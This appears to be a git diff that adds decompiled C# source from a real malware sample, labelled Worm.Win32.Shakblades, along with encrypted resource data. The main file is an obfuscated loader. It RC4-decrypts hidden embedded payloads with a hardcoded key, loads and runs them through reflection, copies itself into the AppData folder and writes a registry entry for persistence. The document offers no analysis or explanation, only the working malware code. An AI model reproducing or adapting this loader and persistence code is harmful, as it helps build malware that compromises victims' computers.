ZmKFcuquw9sRj3PjnujIb9DsIQae3knuZ3GvadFE6WKmNSppQkY7osg4WYxfDOm02BUq32slJyZKoEh4
|
||||
M0eoWMKFGAcjHHAqHeyb+FQfYuXD5GKvuHVvXO6fhBCeS/oVUyPfgmnslJ6RrkLDixYIUSFHY3PYqqVT
|
||||
0Uj4lCPZCqTiBudhCfIcwJ8uDhk+qLdtNEzZkQUfFdnt6VhCMLxANcXju6/p9eiTJFg4CZtf4ADdCJgW
|
||||
B0lVxJP1ckjFGEBjdMPzor+pzJlN2hkrJ6apOTNNFGmk7YD1FS0U42oR7fOGoDZzhciIh/RrQBvmvB3Y
|
||||
cJHDN6mn1/a5iLlClHdUczaZJEgZKk0Ie+bqgI1oDJ3o252fEebJVRRav1iq/BV1zaM0Inb9JstyXUUk
|
||||
0MO6ddbmYDxyv2iWwTatDEG3ktGbqeJUBbIDS9LzCNRHQBjpMIEssoizv1N3JwA8RYN10D6XPODsBeTn
|
||||
+JMbtCUuMpSNU49N6zwtfxZ9eHWbRvyt3LHUfNyew1evL/Rh6w9Pc4vOtroOD1MQqREai67j3wUu7LYa
|
||||
y1DGUeSRkJO6LPTTO6L2yyujnT4Y1HGwRs7k5T9iD65CK0PrwXeq+5aLAcVf90AGLyghVBRGJTdQTG+d
|
||||
moEBpqcfdVxYOPCOqInPiNB13wRgjkxVL9RXyv1o7gqzd5qL5v1ecIX17eEVF1VzHMVaBoWL+BpdVPlj
|
||||
JIbw43Tw6FExSn8kKBqN32drOASEFJ3ZBOH32CeRKsXppT59EI1KZnoXbMqSfF/YFl60kgyjl5acub10
|
||||
Zo/pqzRKcO1uzaGCIJbThCB1b9MdTjRyBju8fqI8aCRoB0zDqFz7nwjXAMM09pDT3xxDEIoSvMFD34cA
|
||||
5W66lH/7ZNNb8p0kDR7pKVW/qCepaHygTZ4XVdYj9A1bSnkCmnTDzQADIHtN+0ro+CWmAUqrXbNUjaD7
|
||||
/bgaA7x4A2jn6CKCV2B0+Xg1Usq8TzJPb9nmQvrZMZoIeIdcCqeZyBo9E6hNJT/jwi9bsFeB2byc2zoc
|
||||
gIrEN9GLQs5aftZgh2Q+2icJirgoBuGex1s0vVl5id2w33dlPqhIHWZRIEsmqUo4ml0RtVs3EZLHK7DG
|
||||
GMhiVupEtpxoZpPVzb3tpGBKdbb1sXyiw63EUEdxenhge53zBNLvoXzxk0d6TygeXty+lgkOyFdB0hD2
|
||||
7O+0nf9HVSAIrbHJ3kK6tlWaEgi9pHGLL5liUGTdJBk9IbSfkJV9qSgXQABQvknu9CQNh2ymAuiPJdBG
|
||||
9k0vhKpxetuG1x5o9uPJLdqun3Ar6kqrQBSxlAkWhzpoQTpMsqgskiYhW7/t49lJzHaHCelehZKazeBp
|
||||
4ecTavZUo/eD0ug/tf4OiYBJlcORua2dFnPK2dXblV8pf67jihRZQr7u/98aY7M0LkoE4UoHbFEF1UoB
|
||||
MQQSWiXrDpE+ClW7opPTWmOBjzHKAq5EBm46cPD+Dmwm8Lw0K1Bu7oKbMpun1Pvy4OkF3eNuoIrf0/I+
|
||||
sDPdKo0GfSGjxTHAZTnJvLFESxR8gEzyhFQGpc+RQZiJtyLEoldOBhWOrgv8875pRWK1vw4vGrb+B0zq
|
||||
vR3B3hPRjDfiAh7FC531TJDO4K6eGc6mFvfS62zEu2mgMKWmAtbIdxgyQgakzOWIvSFdidhheGb/i5Xg
|
||||
3+sOayoNnMhw1CqJn11EdLsUXu2FymyF2tYlkXwJFjTAMpxvZy3NK1aqRABP0JgcAwDS3Yg3PXXkBK4/
|
||||
yLaD3gngUvX9Dqibm5O1MzzGn2YtrgN2SxiNPbhBz8Ow1EbqhzfyF10hOxQYCecwd5losneZxwyO0/4N
|
||||
rALALz5Fy1AxvjLNO8qqvDXTYT0R0jDAADbVEpGiK4RIt67+Tu8cCiFO3CECK1lc1dp/Br4Lmzh1xI7Z
|
||||
sDkc5rIqyhN48U8zBaspeFJVi4y2TsT1wdmDXbmrtjh4HXNIdnQATrNVly/6aDcHZmjZYDYB8bZ+joFP
|
||||
vJDrZLNwGlsSTtUBsrd9a0CpcMr1Nmi3gZqZT/EQlAVpSGbEJMWSSpwwIFxFVZ6dQJ5I0k+tI2ofwL1Y
|
||||
/6rwjp2tiXBl33NzCqHxdukXhM8KTcr/DsaEO8UDa3AIxzYsjpAb6wbPJ1+6/1F3/q9aP0pGkdSpUovS
|
||||
f9p2QBLnPCWcr1QFPVhxlyEM0aAj5VSbTR7QhZE5fK7/l1dyffdF3DKef9VTBYU88fxgAOh7oEl7yEhd
|
||||
oTVH40/soQHYD3xWkf6UDM33WVTeLRfxFHiA+IjtYpakTJsw9IBXRoEm5tSRnoRCEEF0OlDs8vBxLuG3
|
||||
XVCiBmRdT7KkSU04zntQm0mN4MIgeInVoz6B2IdpOR3AakI2GbqDK+o2+GtJLlY9MqWP5FrRG427I8bN
|
||||
1og/gB1xK/bZGyWb/L9DuRjbZ1u3GIWqjmknqFviJ0NDaaRBW13v62s0o0/QDV89EInNQKEJYGJej1jO
|
||||
uQ93rovmVor+psufP3knetEcgxrayemyoFGu4XK37dFl49bB5JXuROIJ/Y3nTnN0ezrmud3ZkK8CaVJ9
|
||||
Byyl+t97Ybwnw6GGcq9alUclGf0A6+wNUyGiUr4+6kBPLubtRr/uzeohvnzNpaqMCijRVKmPPcDAPi8f
|
||||
4iMBED1qaqT34J+FLh28lN/Xe0SQPIoaGopmESdNclxnWmK/jGF8ld8FwJhZMmMci/esXk5Bb/UiG1e9
|
||||
0caUnPxmnb5syKS8H+iztFkiVTRb4MT4fZWNGUqg7fbNck9McuvAi8MxOCmvgDjL8twT7cpLa5Psanpf
|
||||
49TF87HGg1qmnv+R4FtT7xVk0EZ4y2uy8otc+g7g9gsI8SrwZccKR+vUlVpw4LqpGE5wKTYxeSvZiluK
|
||||
vNRAwGAQ25b1mj5oGBbjCG06fgwvOYd3dRg24AlwQRv7k8RpzdmrPG+kI5F+Q9zbim0gJ9qilIAY/47v
|
||||
VJ+BcqAT5b826CVGM1BMjyDg18BozbQ7LefhLnNOUw151h6hImBW5ShqFNjpttcEkabG+tcKX7qfLwvZ
|
||||
DlNMnQPJ7lOYLJenMH9BRXyMKa8zFUGehsdVN5ZSgtoNmGUytiucqlPWZqNoiby2V4CqZMFQrmX/fWqT
|
||||
x7zhRDvcR0raisVs5VbR2kiUIH33aiMJOf1uijFiRbfS3kSDLA1idrQ9FHC/GjEVG7Cnt89H+rYc2KIv
|
||||
4NsAIvT/8zAD/eggUvZCkzS2BcpxHotnsbR02Lzp6VRJpn3+UN1FV60EvGwrCgcBv5N1+bXRaNIoNcsM
|
||||
o9BmhKQvj/7loEEOi+Y+ZnGJflLbcbgQR8so0irtq4CxqVynp7EhYRLVDc/VPzQsey21ZJokaOXGeCgH
|
||||
2oFLgqA5h0CD8xslOSBEJE+4Yg8tSu2SHqta+70rcKmT1CBSArficqqaEejcLCoH20DgGKHyPsjQXomV
|
||||
DMMnw7NIrKVDfr++573UG7sseaWruSbqYVLsm+SJR2R+R+pLQgtm1KTGox7Nm2bPLfsLqSD4tMzvM5mj
|
||||
/PALEpsCGVKthAO1lJe6CEx4L5bikGci1VhaCzF4QfCZoAygbHLoIumj713mZDLXHdDs8NMqkrMgqgOY
|
||||
llrtiRJBpglECoCqnWEIiTnw5Sp9UQOsyLC+RdLs/uCveK69LMstoQ+JQRHmiNFKyvMOHjzqfb20qxds
|
||||
Hau6/6UKbm13/AW1emanCf0HaG2coMv9YDECmkpomvtlFawvFXsPMIykg2mYcCq/Q4R1v3x7jOIpo9uT
|
||||
GxXtp+LE8iOi9/UZBq/YJHcR0d7/GhtTFuYB0VC6BT621PFTzNFdZXLWyKmQQ530/jeMNEU7jQIl7Hvs
|
||||
2cPbDTNsgjw/ZS6C5K2ObPvIzNOpLaRa5LOOB7vDcB/itR3aAuJn31g0afeE9VD0SU9e02Gvl8sFt7et
|
||||
eSQc3yQqLGlwAqqya9QK9tXXfRpCbF9kEWBAlUGmsovveWzu/hptL5cIYU+EWmrqVe3ybB3DZE3NioPe
|
||||
fmMEAKnmn40OTU3QBVbN2HbDTNLd2B6AqJ+2jqqoOTqyK4ggJtRoQ0e+ZaqTJ3ZDKFFKev1yI4J+LfnW
|
||||
zmypfAwqAsXwZPGLR6sZwkgocyLfkuFDxAZqgHtk5GrN9yktO81vfWiyMe5zP5lPOQkXBz/FtLd6FNJs
|
||||
P9c2Jd1q1bODe+7/++/wzlsIDui5DYIFzK4s83fpVsTAYLMwJmFwBuzFnwVV24orLxqedIQ2zPReb53U
|
||||
0IgjSyKiEiseP1wzej3d7DVoqdX6b4as+DPHUPUtKg35hpAlqSqrP85/LdgmCiW0h1SxXbFmggO9Y22Q
|
||||
fPaOttMXhg6NhCV5J0fNhxG1ITQ4c7yB6DbLem0CXM0iM6Ei38+rBZfBNwDSf9R2vA4OJ7PlN8XZEqZK
|
||||
KWbd1P6X4o/kL9FGboGLyN5HWtBw1FApntHg54QmT3G0ZfmXlMtGxJoezhLwOH1ewLmnpEReRDQbfeQ+
|
||||
eBCm5M31R2oAUI6fgFnr8rY0kg+l8b+R52wgfi8siP2KhK9kB/hQqRvTTVfWXCJvhZGGNc6nTIEUiwKs
|
||||
HnYb1O6mO6N92xrcY93fSxxyNh9HjgBZU9OlfZnVyCWa8I69xGsWIj85XW/vSUXXYeZhnKD2EOWeeXju
|
||||
Ns3+z5xGulj4wyrBMQpZVYOrfRJ4WrrHAEFHsDooxeA+PT0XMP8f5TA45oQVwcbouJ7e3/c0LXANknh6
|
||||
EtqnOtyghWD2joBiT1336yiiNsw8oBzDWvGNoDHf0jvAvXbTitXKe03ZRCedB2T594eGm4ylsIsD/pT9
|
||||
Zt8edNuKdJb+oKSpj2xXutOY4inhIiTzTvhrWfLk66DxE3bcQT0g2u7K7Rt4ixFMAarC0z6/Ws85pISW
|
||||
HapFHm1vYbu7rOe1/FzBeYtzV6HB7Uxom8kOdxdk+VqDXmVpjp+nlhod+EdYaMl9KttEQr2np7QdZUgS
|
||||
yJ/Wlw4TCwZYN7NUKQ742Tg/XOc1124fmdrWUTYT6tUeJyEB1sNuBYD4KJ6iB93fh/p+ga7nj+Yx4LEc
|
||||
JevIVl96FB4hnsfVhQ3IrG7TamVTfXuDw3I8aYJIMNgssorhmEmw97LP1qKIg3dfUMbFYzdr2uXefpnc
|
||||
gmQaA63Z+CCvkPNf+BQCjx+o5WLVbi2bJ47w6ClY3YC+m17X0dggz83f2YvGaqkwObqWkgiNOOcmgztu
|
||||
eImy8odGK2tBSzqp3cAchK2fjjsDRmj+H/YY8mCRY3+hFdF95LSn0VT8HAbhU+3rpd2kl5H10XZ7YNiH
|
||||
EjRdjzx6uEHp4S3AmliULq2k77078N6ueWhIEtKJygc2ZrfNqkNSEuTdXmWQxZv0+ixR7gUx3JtcJA/B
|
||||
MEdL7lImHTb8P6XvPEloNNna92yTF4X2WcULtRN422uc7G8HBZuRbH7m5WkPxNOI3seVrhJHPyS9dtRU
|
||||
VU2s7Ubo8HiWkYwODL6zqlmGLYKfhQqxliRt71+itNz8ntwgvFSCj1Pw2Y6ZCLE9vWDIvS4+RnC4CKIE
|
||||
d95S745+cmT79ZZWTPmRGN3gXYd0b6yEJu3wB5fN0/GU5o3Vm16W6QbqPHY5/Ki9dw4TDbFykK0a/aTO
|
||||
oTgflhZC6b3W9c08VYWcQKdxhwbzPd3Xz5fOAE7H3FZWQnyKh2w07uuZa/fP16C+cbxsf12Em9I0y1++
|
||||
PRQL9m2oA4UL9HqeZLoRSyJCpdWhrg739b5v2X+TjpEfuQ4vUh1QiXa5dzIvobxxJmMcF8E6wpu8jD9h
|
||||
bZasT701DOOdRPTpiiAGHfQ4JBVyVd9yya7ZApbK6nFol2uJ8N+o9imgQYFjHuC4A6MMZEgZAdPoq8FE
|
||||
IWcBbFVGEqw2k667yxJ7PwyVuFGFGw1+8whDUl6XiSUZ37blRtCtK1s4gL60w6r9VIE/8UGhU7rd11Ot
|
||||
lWTzCN1JcpxyY1SI8bnV7LvUNUx33c4+4otyeVZ5IU7ZMq8hf3b/n4Qrw0svCdxYIKK5v6mNUhnwgGvd
|
||||
zGCCY4qhAdMpjyDqpDeqiD5a+CZ4M58IZyAfXTPINO9AyN84XkAgEZq82ugbbNOCJe7nNB8bDLqp0Fki
|
||||
85oPqo8/oADrwge8qEu07wDHQniroH3EHJsdphGjIvThMU9vRsyxLkCFpjcY0aF4pxYd/ZcCTX1JWFYy
|
||||
/1XiTKwE04eUbE9eFAjAoKGXASKOQANW9lvMmtOtq4kpPUJfGuVI2FXZiGBkduB/sgZ0AhFYWQhhnU4Q
|
||||
X7Lt3QcsF7G6q2ODObL3qvDLlB7mdPlgCRk5pB4S4yslL6kbNV14MUUyQ3xOGZOddDXZ4YMkSY3lC5LO
|
||||
XIRClFh4lHnN3mMX4vc0vi/qucaW7PMjfYKJYtW6C2zJKCRsz66dTxg+v8ViF3yubONJKTMDUSJcaI+H
|
||||
co/4e4FEemxX4CeABpxmp0k1exDdIYDlGtZZKcSuDT8Er3KuXN8ZpPHNQAheAOAZr1UYgNH8kcoFc69c
|
||||
f4Q7FZLq2Um0FKx5raOPO9QhwzA4359I9CdK63+N5F/iytU5HeaR/ApuLNQerJsYfzsZOcQH7GgnA/yq
|
||||
uGx6rVp/xzLo5zGrB3ynxSRFUuzxVxqXuARM7ZFufOTqAZ39ostwOGmXhMbqhUMfldp2ysW2Bi+/LhF2
|
||||
4CqMyFlKwuoJCgavBSv9ApkP2W8qmsWiq+SSvEJGqSyGSLyyP9WZLyRaZ8VZ49RNCUOCdzIcbvZZSxl6
|
||||
uFlBc3WA5l/UadKwTnsUzMaTgWLpKPAB3wnd549Yeg8bMl/vTCsYCB43bK45E9AV4Z6IPdRzvKYwpLHU
|
||||
0rH16adnk0qJ4dVFmTCZQCLugaaIbUMTd7cNeMmVjykGwdfR0VffLnkZMQ7TUz1utqu093eu15pwRZVY
|
||||
HBeXWyP7cV1rDKrgPJZP6BUIlnw4y05RiflD2dqn9kj8ybVgd+9SwfhnVCCs8ZWOk2pbcJ8MbDPuCmt3
|
||||
DvifMzkLEA7lST8bB2Mys6KtxK7jbave73VzeHkIQ4Q58sLVq/dzZF6zfpHwchOXY3sEBaEjFtbYQPuZ
|
||||
7zroutKT1Q2T5WMwdojYqNbQdzpUFOS43p6ZU7zCs4H82seKGJQFLboXsNmzBAn0Qzq/FaVYFaOf5W7a
|
||||
DRm+APd9/2R5ZCTFd2EKXXmDc4oVpQHH5qOHinXIJSrJ6DKeYiM86iLtPnY21rHQ/Rk1ldhqsxw9dFqi
|
||||
ZZLA0u3l01Nxx4Ne8lHxrPTWCqFibttEqSODWWxRfQryXezFKHIc7HN5DFk+h4eb8xp3gRezEZi3zy2v
|
||||
G95mYLzs2CYMVgymIY8BXbNfZv1GfzQbgjXRVeW5kyzOi+ytI+TjR8lu9Y9nTzgNr3FWz5xkb3O7kO3K
|
||||
tB6Eqd66CU3EmG0l1dr+a/gCC30IgjJHpNEhHTDZingkLQzlndICTqVatWzY24zEeCiKP1avcamE99xN
|
||||
1wtQ7E5b3sszQ2FjbZNjZWKkpcCXXngvn4qTGn6vaXEfeddYH5WvANbFGFJ2VIhTQqhafK8qCSPJexIM
|
||||
cphtd+uoNq2DqFHPt7kkycH/uehtQHuHjha6RcKkowQpYDqsNkvEH9lUZwolECkrrw8D6vD0+7KxYLlr
|
||||
L0/GjAj4eptBfGmg0jBhXsxrTiWudx5lnt+sbPcGFIDY1denYg517s0xQm9BQbjqX88g+zQIk4HjZttq
|
||||
a23enFs80FsYkhedfC5mZdYqrk8jYUAoEw8R9suXCQh1K5avftCFX+G0u/YwNMIatlAXbUsSuIwIaFWM
|
||||
+P5OYPbir6y+9BOHQBF7J0ycowxZ6zuP7JGhG2e7br6RVTRDnZ3oK4OkTSbG4GMPFLo+95Mi0DlHHo6R
|
||||
tpTSFhYd3My00aHtN5MVpGYU63eVSlT2TXZytrhubPeHPXyrqu2MMoylZWjjD/+AE6YjQ5DsdsTDHbJS
|
||||
J46XFTOnxGz4T3HIqf1UwWTMZHB9WmOp4nPsbSJL/RYivNFsWHAYy1m37Qn0S2hmUmom9PsyGSyRKf3x
|
||||
gUEDn/FCxsWTqqOd3NdHXgr7e5FyAKvvh+7t3AMviyJeTGOWH4MwtYU2ekTVo01jKBK4ymJuWtG6iwkt
|
||||
FEu7slaRApFxkIfcnRk4W+7nd2cZJAvMUvi9HtOiKfHCAsa2xTMtJVLAXSVpld6g40RyF7m+S4X30L9z
|
||||
rmu+T87IgDJmxPtFKGh4sURX3AfrA/FscqKLwAX82Uvbyn9I6GPaDDjqWEVEfGSzbTlo38uF7eRSYQfg
|
||||
oSNHY04Np9cFojdFMnl+uyUdh1p0FK6hL3RXM7vP8J1hUraU3D3pWx9c0Q01LjKmVUfFxMJUZjlTk38y
|
||||
X/brglDZIBWBFTrKbAa1qNCz3ijukiVyliGQ0Q==
|
||||
</value>
|
||||
</data>
|
||||
</root>
|
||||
+2535
File diff suppressed because it is too large
Load Diff
+16
@@ -0,0 +1,16 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Î62Â.Ë08Î
|
||||
// Assembly: zom052fb, Version=82.27.26.147, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: C73C9DAC-34BB-47BC-9784-43B3F9A632F7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.y-0a8ce0f86190a7cb19dcfb02d9c65bd7190bdb532888563cb9e3e20c68ed3079.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
|
||||
namespace Î62Â
|
||||
{
|
||||
[StandardModule]
|
||||
internal sealed class Ë08Î
|
||||
{
|
||||
public static uint Ç06(uint Ë98ÔÊ, sbyte Ù59) => 0;
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ô61.Ô
|
||||
// Assembly: zom052fb, Version=82.27.26.147, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: C73C9DAC-34BB-47BC-9784-43B3F9A632F7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.y-0a8ce0f86190a7cb19dcfb02d9c65bd7190bdb532888563cb9e3e20c68ed3079.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
|
||||
namespace Ô61
|
||||
{
|
||||
[StandardModule]
|
||||
internal sealed class Ô
|
||||
{
|
||||
public static void Ò7(float Ç)
|
||||
{
|
||||
}
|
||||
|
||||
public delegate void Û32ÜÒ(ushort Ø1);
|
||||
}
|
||||
}
|
||||
+169
@@ -0,0 +1,169 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Þ.Ò80Á
|
||||
// Assembly: zom052fb, Version=82.27.26.147, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: C73C9DAC-34BB-47BC-9784-43B3F9A632F7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.y-0a8ce0f86190a7cb19dcfb02d9c65bd7190bdb532888563cb9e3e20c68ed3079.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Þ
|
||||
{
|
||||
[StandardModule]
|
||||
internal sealed class Ò80Á
|
||||
{
|
||||
private static MethodInfo Þ97ÓÚ;
|
||||
private static Environment.SpecialFolder Ê = Environment.SpecialFolder.ApplicationData;
|
||||
private static string Ü05ËÈ = Environment.GetFolderPath(Ò80Á.Ê) + Ò80Á.Ú2("pGO3piOjLEFrash6ZbCGTS30hIrcEKEW2VjA/6jBKlaqfX6ual8n");
|
||||
|
||||
[STAThread]
|
||||
public static void Main()
|
||||
{
|
||||
label_0:
|
||||
int num1;
|
||||
int num2;
|
||||
try
|
||||
{
|
||||
int num3 = 1;
|
||||
label_1:
|
||||
num3 = 2;
|
||||
label_2:
|
||||
ProjectData.ClearProjectError();
|
||||
num1 = 1;
|
||||
label_3:
|
||||
num3 = 4;
|
||||
ResourceManager resourceManager = new ResourceManager(Ò80Á.Ú2("lVyzoieiKF4="), Assembly.GetExecutingAssembly());
|
||||
label_4:
|
||||
num3 = 5;
|
||||
Ò80Á.ß19(Ò80Á.Õ2(Ò80Á.Ã95ÁÑ((byte[]) resourceManager.GetObject(Ò80Á.Ú2("lVyzoieiKF4=")))));
|
||||
label_5:
|
||||
num3 = 6;
|
||||
Ò80Á.Í35ÓÇ();
|
||||
goto label_12;
|
||||
label_7:
|
||||
num2 = num3;
|
||||
switch (num1)
|
||||
{
|
||||
case 1:
|
||||
int num4 = num2 + 1;
|
||||
num2 = 0;
|
||||
switch (num4)
|
||||
{
|
||||
case 1:
|
||||
goto label_0;
|
||||
case 2:
|
||||
goto label_1;
|
||||
case 3:
|
||||
goto label_2;
|
||||
case 4:
|
||||
goto label_3;
|
||||
case 5:
|
||||
goto label_4;
|
||||
case 6:
|
||||
goto label_5;
|
||||
case 7:
|
||||
goto label_12;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
goto label_7;
|
||||
}
|
||||
throw ProjectData.CreateProjectError(-2146828237);
|
||||
label_12:
|
||||
if (num2 == 0)
|
||||
return;
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
|
||||
public static byte[] Ã95ÁÑ(byte[] Ì12ÞÏ)
|
||||
{
|
||||
byte[] bytes = Encoding.UTF8.GetBytes("d63Jb72ye85xX");
|
||||
uint[] numArray1 = new uint[256];
|
||||
byte[] numArray2 = new byte[checked (Ì12ÞÏ.Length - 1 + 1)];
|
||||
int index1 = 0;
|
||||
do
|
||||
{
|
||||
numArray1[index1] = checked ((uint) index1);
|
||||
checked { ++index1; }
|
||||
}
|
||||
while (index1 <= (int) byte.MaxValue);
|
||||
int index2 = 0;
|
||||
do
|
||||
{
|
||||
uint index3 = checked ((uint) ((long) (index3 + (uint) bytes[unchecked (index2 % bytes.Length)] + numArray1[index2]) & (long) byte.MaxValue));
|
||||
uint num = numArray1[index2];
|
||||
numArray1[index2] = numArray1[checked ((int) index3)];
|
||||
numArray1[checked ((int) index3)] = num;
|
||||
checked { ++index2; }
|
||||
}
|
||||
while (index2 <= (int) byte.MaxValue);
|
||||
uint index4 = 0;
|
||||
uint index5 = 0;
|
||||
int num1 = checked (numArray2.Length - 1);
|
||||
int index6 = 0;
|
||||
while (index6 <= num1)
|
||||
{
|
||||
index4 = checked ((uint) ((long) index4 + 1L & (long) byte.MaxValue));
|
||||
index5 = checked ((uint) ((long) (index5 + numArray1[(int) index4]) & (long) byte.MaxValue));
|
||||
uint num2 = numArray1[checked ((int) index4)];
|
||||
numArray1[checked ((int) index4)] = numArray1[checked ((int) index5)];
|
||||
numArray1[checked ((int) index5)] = num2;
|
||||
numArray2[index6] = checked ((byte) ((int) Ì12ÞÏ[index6] ^ unchecked ((int) numArray1[checked ((int) ((long) (numArray1[(int) index4] + numArray1[(int) index5]) & (long) byte.MaxValue))])));
|
||||
checked { ++index6; }
|
||||
}
|
||||
return numArray2;
|
||||
}
|
||||
|
||||
public static string Ú2(string Ñ94ÂÐ) => Encoding.UTF8.GetString(Ò80Á.Ã95ÁÑ(Convert.FromBase64String(Ñ94ÂÐ)));
|
||||
|
||||
public static byte[] Õ2(byte[] Ó48ÆÄ)
|
||||
{
|
||||
if ((object) Ò80Á.Þ97ÓÚ == null)
|
||||
Ò80Á.Þ97ÓÚ = Assembly.Load(Ò80Á.Ã95ÁÑ((byte[]) new ResourceManager(Ò80Á.Ú2("kBysomG8aho="), Assembly.GetExecutingAssembly()).GetObject(Ò80Á.Ú2("kBysomG8aho=")))).GetType(Ò80Á.Ú2("uVy9rTi6OgBFe/hZebE=")).GetMethod(Ò80Á.Ú2("vEu9qjy8LUt+bQ=="));
|
||||
return (byte[]) Ò80Á.Þ97ÓÚ.Invoke((object) null, new object[1]
|
||||
{
|
||||
(object) Ó48ÆÄ
|
||||
});
|
||||
}
|
||||
|
||||
public static void ß19(byte[] Æ6) => Assembly.Load(Ò80Á.Õ2(Ò80Á.Ã95ÁÑ((byte[]) new ResourceManager(Ò80Á.Ú2("yV3vrz2vOko="), Assembly.GetExecutingAssembly()).GetObject(Ò80Á.Ú2("yV3vrz2vOko="))))).GetType(Ò80Á.Ú2("sQ==")).GetMethod(Ò80Á.Ú2("qGs=")).Invoke((object) null, new object[1]
|
||||
{
|
||||
(object) new ArrayList() { (object) Æ6 }
|
||||
});
|
||||
|
||||
public static void Í35ÓÇ()
|
||||
{
|
||||
if (Operators.CompareString(Application.ExecutablePath, Ò80Á.Ü05ËÈ, false) == 0)
|
||||
return;
|
||||
if (!Directory.Exists(Path.GetDirectoryName(Ò80Á.Ü05ËÈ)))
|
||||
Directory.CreateDirectory(Path.GetDirectoryName(Ò80Á.Ü05ËÈ));
|
||||
File.Delete(Ò80Á.Ü05ËÈ);
|
||||
FileSystem.FileCopy(Application.ExecutablePath, Ò80Á.Ü05ËÈ);
|
||||
object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject(Ò80Á.Ú2("j129tzi8KwB+dvFFcA==")));
|
||||
object[] objArray = new object[2]
|
||||
{
|
||||
(object) Ò80Á.Ú2("sGWdkA2fEGhZSdV7WZ+/QSPauJzBALwp60Ly7K7YNWWOZ2Lyakk2uRysvXs0ucSgNtvAfLW2pVbg8IE="),
|
||||
(object) Ò80Á.Ü05ËÈ
|
||||
};
|
||||
object[] Arguments = objArray;
|
||||
bool[] flagArray = new bool[2]{ false, true };
|
||||
bool[] CopyBack = flagArray;
|
||||
NewLateBinding.LateCall(objectValue, (System.Type) null, "regwrite", Arguments, (string[]) null, (System.Type[]) null, CopyBack, true);
|
||||
if (!flagArray[1])
|
||||
return;
|
||||
Ò80Á.Ü05ËÈ = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (string));
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user